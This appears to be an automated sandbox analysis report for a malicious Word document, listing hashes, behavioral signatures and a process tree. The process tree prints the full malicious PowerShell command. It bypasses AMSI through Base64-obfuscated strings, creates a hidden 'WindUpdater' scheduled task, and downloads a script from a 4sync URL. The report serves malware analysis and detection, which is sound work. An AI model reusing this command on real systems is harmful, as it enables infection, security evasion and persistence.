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Analysis
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max time kernel
101s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10/04/2024, 15:02
Behavioral task
behavioral1
Sample
f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
Resource
win10v2004-20240226-en
General
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Target
f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
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Size
1.1MB
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MD5
ca09b19b6975e090fb4eda6ced1847b1
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SHA1
a7a2f5f7a70dab85f6ee173b9cde4507ed723ac5
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SHA256
f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3
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SHA512
c536808f3c015a4473b50817cc3181763348428652903aad26697865ba83de4ac97f4bd7977bc986133e44582913065c68b9c882e6e7ff2d8a59e45c8d0e57cb
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SSDEEP
12288:fDmofgI7jf+hXEX62Jp7GqRCXCXCXB3ClforCz2XCKk2XC/kZnR99Wduz:fKCgI72qkZnR99O
Malware Config
Extracted
https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 392 2804 powershell.exe 86 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 392 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4812 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2340 systeminfo.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2804 WINWORD.EXE 2804 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 392 powershell.exe 392 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 392 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE 2804 WINWORD.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2804 wrote to memory of 392 2804 WINWORD.EXE 90 PID 2804 wrote to memory of 392 2804 WINWORD.EXE 90 PID 392 wrote to memory of 2340 392 powershell.exe 93 PID 392 wrote to memory of 2340 392 powershell.exe 93 PID 392 wrote to memory of 4812 392 powershell.exe 98 PID 392 wrote to memory of 4812 392 powershell.exe 98 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\system32\systeminfo.exe"C:\Windows\system32\systeminfo.exe"3⤵
- Gathers system information
PID:2340
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"3⤵
- Creates scheduled task(s)
PID:4812
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82